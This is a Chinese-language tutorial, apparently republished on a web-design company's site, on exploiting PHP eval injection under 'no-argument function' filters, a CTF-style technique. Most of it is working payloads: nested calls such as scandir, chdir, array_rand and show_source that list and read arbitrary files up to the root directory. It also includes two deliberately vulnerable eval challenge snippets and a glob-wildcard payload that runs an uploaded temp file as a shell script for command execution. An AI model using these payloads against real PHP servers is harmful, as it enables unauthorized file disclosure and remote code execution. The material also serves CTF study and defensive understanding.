如何理解php rce中無參數(shù)讀文件,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。
創(chuàng)新互聯(lián)是一家以成都網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計、品牌設(shè)計、軟件運維、網(wǎng)站推廣、小程序App開發(fā)等移動開發(fā)為一體互聯(lián)網(wǎng)公司。已累計為發(fā)電機(jī)租賃等眾行業(yè)中小客戶提供優(yōu)質(zhì)的互聯(lián)網(wǎng)建站和軟件開發(fā)服務(wù)。
就是使用函數(shù)的時候不能帶有參數(shù)。
可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能帶參數(shù)
所以我們要使用無參數(shù)的函數(shù)進(jìn)行文件讀取或者命令執(zhí)行。
查看當(dāng)前目錄文件名
通常,可以使用 print_r(scandir('.'))
查看當(dāng)前目錄下所有文件,以數(shù)組的形式輸出。
但是要怎么構(gòu)造參數(shù)里這個點呢。
localeconv() 函數(shù)返回一包含本地數(shù)字及貨幣格式信息的數(shù)組。而數(shù)組第一項就是 .
https://www.w3school.com.cn/php/func_string_localeconv.asp
current() 返回數(shù)組中的單元,默認(rèn)第一個值。
所以我們輸出 print_r(scandir(current(localeconv())));
也會如同 print_r(scandir('.'))
打印當(dāng)前目錄下文件名。
使用 print_r(scandir(pos(localeconv())));
,pos是current的別名
reset()
函數(shù)將內(nèi)部指針指向數(shù)組中的第一個元素,并輸出。
相關(guān)的方法:
所以我們現(xiàn)在要構(gòu)造 reset()
的參數(shù)。
chr(46)
就是字符 .
.所以我們需要構(gòu)造 46 .
chr(rand()) # 需要看運氣。。。不現(xiàn)實 char(time()) char(current(localtime(time())))
[tm_sec] - 秒數(shù)
[tm_min] - 分鐘數(shù)
[tm_hour] - 小時
[tm_mday] - 月份中的第幾天
[tm_mon] - 年份中的第幾個月,從 0 開始表示一月份
[tm_year] - 年份,從 1900 開始
[tm_wday] - 星期中的第幾天 (Sunday=0)
[tm_yday] - 年中的第幾天
[tm_isdst] - 夏令時當(dāng)前是否生效
chr(time())
chr() 函數(shù)以256為一個周期,所以 chr(46)
、chr(302)
、chr(558)
等都等于 .
所以使用chr(time()) 一個周期必能出現(xiàn)一次。
chr(current(localtime(time())))
localtime()
以數(shù)值數(shù)組和關(guān)聯(lián)數(shù)組的形式輸出本地時間:
關(guān)聯(lián)數(shù)組的鍵名如下:
數(shù)組第一個值每秒加 1 ,所以最多 60 秒之內(nèi)就可以得到 46 .然后用 current()
函數(shù)即可獲得 第一位鍵值。再利用 chr() 函數(shù)就可以完美獲得 .
current()- 返回數(shù)組中的當(dāng)前元素的值
end()- 將內(nèi)部指針指向數(shù)組中的最后一個元素,并輸出
next()- 將內(nèi)部指針指向數(shù)組中的下一個元素,并輸出
prev()- 將內(nèi)部指針指向數(shù)組中的上一個元素,并輸出
each()- 返回當(dāng)前元素的鍵名和鍵值,并將內(nèi)部指針向前移動
phpversion()
返回 PHP 版本,例如 5.4.45
floor(phpversion()) 返回 5
sqrt(floor(phpversion())) 返回 2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."
crypt()
返回使用 DES、Blowfish 或 MD5 算法加密的字符串。
hebrevc() 函數(shù)把希伯來文本從右至左的流轉(zhuǎn)換為左至右的流。同時,把新行(\n)轉(zhuǎn)換為
hebrevc(crypt(arg))可以隨機(jī)生成一個hash值,第一個字符隨機(jī)是$(大概率) 或者 "."(小概率) 然后通過chr(ord())只取第一個字符/
ord()返回字符串中第一個字符的Ascii值
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));
多試幾次。
strrev(crypt(serialize(array())))
也可以得到".",只不過crypt(serialize(array()))
的點出現(xiàn)在最后一個字符,需要使用strrev()
逆序,然后使用chr(ord())獲取第一個字符.
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
絕對路徑
正常的,我們還可以用print_r(scandir('絕對路徑'));來查看當(dāng)前目錄文件名。
獲取絕對路徑可用的有getcwd()
和realpath('.')
所以我們還可以用print_r(scandir(getcwd()));
輸出當(dāng)前文件夾所有文件名.
讀取當(dāng)前目錄文件
通過前面的方法輸出了當(dāng)前目錄文件名,如果文件不能直接顯示,比如PHP源碼,我們還需要使用函數(shù)讀取:
前面的方法輸出的是數(shù)組,文件名是數(shù)組的值,那我們要怎么取出想要讀取文件的數(shù)組呢:
如果要獲取最后一個文件內(nèi)容,我們可以:
show_source(end(scandir(getcwd()))); # 或者使用其他函數(shù) readfile highlight_file file_get_contents readgzfile() # 也可讀文件,常用于繞過過濾
報錯 Strict Standards: Only variables should be passed by reference in
原因:PHP5.3以上默認(rèn)只能傳遞具體的變量,而不能通過函數(shù)返回值傳遞,沒有關(guān)系不影響我們讀文件。
array_reverse() 以相反的元素順序返回數(shù)組
本來在最后一位的文件可以反過來放第一位讀取。
show_source(current(array_reverse(scandir(getcwd()))));
如果是倒數(shù)第二個我們可以用:
readfile(next(array_reverse(scandir(getcwd()))));
我想著還可以繼續(xù)用 next()
結(jié)果不行。
那么如何讀取其他文件
我們可以使用array_rand(array_flip()),array_flip()是交換數(shù)組的鍵和值,array_rand()是隨機(jī)返回一個數(shù)組。
readfile(array_rand(array_flip(scandir(getcwd())))); readfile(array_rand(array_flip(scandir(current(localeconve())))));
如果目標(biāo)文件不在當(dāng)前目錄呢?
dirname() :返回路徑中的目錄部分,
從圖中可以看出,如果傳入的值是絕對路徑(不包含文件名),則返回的是上一層路徑,傳入的是文件名絕對路徑則返回文件的當(dāng)前路徑
chdir() :改變當(dāng)前工作目錄
print_r(scandir(dirname(getcwd()))); //查看上一級目錄的文件
構(gòu)造".."
print_r(next(scandir(getcwd())));:我們scandir(getcwd())出現(xiàn)的數(shù)組第二個就是"..",所以可以用next()獲取
print_r(scandir(next(scandir(getcwd()))));//也可查看上級目錄文件
結(jié)合上文的一些構(gòu)造都是可以獲得".."的 :
next(scandir(chr(ord(hebrevc(crypt(time()))))))
讀取上級目錄文件
直接 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));
是不可以的,會報錯,因為默認(rèn)是在當(dāng)前工作目錄尋找并讀取這個文件,而這個文件在上一層目錄,所以要先改變當(dāng)前工作目錄,前面寫到了chdir(),使用:
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
如果不能使用dirname(),可以使用構(gòu)造".."的方式切換路徑并讀?。?/p>
但是這里切換路徑后getcwd()和localeconv()不能接收參數(shù),因為語法不允許,我們可以用之前的hebrevc(crypt(arg))
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))))); 或更復(fù)雜的: show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))); 還可以用: show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//這個得爆破,不然手動要刷新很久,如果文件是正數(shù)或倒數(shù)第一個第二個最好不過了,直接定位
還有:
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));
查看和讀取根目錄文件
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
strrev(crypt(serialize(array())))所獲得的字符串第一位有幾率是/,所以使用以上payload可以查看根目錄文件.
但是有權(quán)限限制,linux系統(tǒng)下需要一定的權(quán)限才能讀到,所以不一定成功.
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));
array_flip() 函數(shù)用于反轉(zhuǎn)/交換數(shù)組中的鍵名和對應(yīng)關(guān)聯(lián)的鍵值。
array_rand() 函數(shù)返回數(shù)組中的隨機(jī)鍵名,或者如果您規(guī)定函數(shù)返回不只一個鍵名,則返回包含隨機(jī)鍵名的數(shù)組。
end()- 將數(shù)組的內(nèi)部指針指向最后一個單元
key()- 從關(guān)聯(lián)數(shù)組中取得鍵名
each()- 返回數(shù)組中當(dāng)前的鍵/值對并將數(shù)組指針向前移動一步
prev()- 將數(shù)組的內(nèi)部指針倒回一位
reset()- 將數(shù)組的內(nèi)部指針指向第一個單元
next()- 將數(shù)組中的內(nèi)部指針向前移動一位
<?php if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>35){ die("Long."); } if(preg_match("/[A-Za-z0-9_$]+/",$code)){ die("NO."); } eval($code); }else{ highlight_file(__FILE__); }
因為$
不能使用了,所以我們無法構(gòu)造PHP中的變量。
如何利用無字母、數(shù)字、$
的系統(tǒng)命令來getshell?
shell下可以利用.
來執(zhí)行任意腳本
Linux文件名支持用glob通配符代替
.
或者叫period,它的作用和source一樣,就是用當(dāng)前的shell執(zhí)行一個文件中的命令。比如,當(dāng)前運行的shell是bash,則. file
的意思就是用bash執(zhí)行file文件中的命令。
用. file
執(zhí)行文件,是不需要file有x權(quán)限的。那么,如果目標(biāo)服務(wù)器上有一個我們可控的文件,那不就可以利用.
來執(zhí)行它了嗎?
這個文件也很好得到,我們可以發(fā)送一個上傳文件的POST包,此時PHP會將我們上傳的文件保存在臨時文件夾下,默認(rèn)的文件名是/tmp/phpXXXXXX
,文件名最后6個字符是隨機(jī)的大小寫字母。
第二個難題接踵而至,執(zhí)行. /tmp/phpXXXXXX
,也是有字母的。此時就可以用到Linux下的glob通配符:
*
可以代替0個及以上任意字符
?
可以代表1個任意字符
那么,/tmp/phpXXXXXX
就可以表示為/*/?????????
或/???/?????????
。
能夠匹配上/???/?????????
這個通配符的文件有很多.
大部分同學(xué)對于通配符,可能知道的都只有*
和?
.
其中,glob支持用[^x]
的方法來構(gòu)造“這個位置不是字符x”。那么,我們用這個姿勢干掉一些干擾選項。
就跟正則表達(dá)式類似,glob支持利用[0-9]
來表示一個范圍。
所有文件名都是小寫,只有PHP生成的臨時文件包含大寫字母。那么答案就呼之欲出了,我們只要找到一個可以表示“大寫字母”的glob通配符,就能精準(zhǔn)找到我們要執(zhí)行的文件。
翻開ascii碼表,可見大寫字母位于@
與[
之間:
那么,我們可以利用[@-[]
來表示大寫字母:
構(gòu)造 poc ,執(zhí)行任意命令。
當(dāng)然,php生成臨時文件名是隨機(jī)的,最后一個字符不一定是大寫字母,不過多嘗試幾次也就行了。
最后,我傳入的code為?c=. /???/????????[@-[]
,發(fā)送數(shù)據(jù)包如下:
#!/bin/sh ls
我們可以使用無參數(shù)函數(shù)任意讀文件,也可以執(zhí)行命令。
<?php if(';'===preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else{ show_source(__FILE__); }
我們傳入一個參數(shù),然后經(jīng)過正則替換后剩余 分號 ;
方可執(zhí)行我們的payload.
代碼非常清晰,首先
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
代碼會將$_GET['code']中滿足正則/\W+((?R)?)/的部分,替換為空,然后查看是否剩下的部分強(qiáng)等于;如果滿足,則執(zhí)行
eval($_GET['code']);
否則什么都不做。那么思路很明確,我們弄清楚正則即可進(jìn)行RCE
[^\W]+\((?R)?\)
首先是[^\W]
對于\W,其意思等價于[^A-Za-z0-9_]
。那么我們知道,我們的input必須以此開頭然后是括號匹配
\( ...... \)
括號中間為
(?R)?
意思為重復(fù)整個模式簡單理解,我們可以輸入以下類型
a(b(c()))
但我們不能加參數(shù),否則將無法匹配,正則替換掉其他之后,甚于的不是只有分號,所以不強(qiáng)等于 左邊的;
a(c,d)
所以正則看完,題目的意思非常明確了:我們只能input函數(shù),但函數(shù)中不能使用參數(shù),否則判斷句右邊經(jīng)過替換,將不止剩余分號;。
既然傳入的code值不能含有參數(shù),那我們可不可以把參數(shù)放在別的地方,code用無參數(shù)函數(shù)來接收參數(shù)呢?這樣就可以打破無參數(shù)函數(shù)的限制:
查閱php手冊,有非常多的超全局變量
$GLOBALS $_SERVER $_GET $_POST $_FILES $_COOKIE $_SESSION $_REQUEST $_ENV
我們可以使用$_ENV
,對應(yīng)函數(shù)為getenv()
getenv — 獲取一個環(huán)境變量的值
首先想到headers,因為headers我們用戶可控,于是在PHP手冊中搜索:headers。
看完上述內(nèi)容,你們掌握如何理解php rce中無參數(shù)讀文件的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!
網(wǎng)站題目:如何理解phprce中無參數(shù)讀文件
轉(zhuǎn)載來于:http://muchs.cn/article46/jooehg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供做網(wǎng)站、面包屑導(dǎo)航、ChatGPT、標(biāo)簽優(yōu)化、響應(yīng)式網(wǎng)站、定制開發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)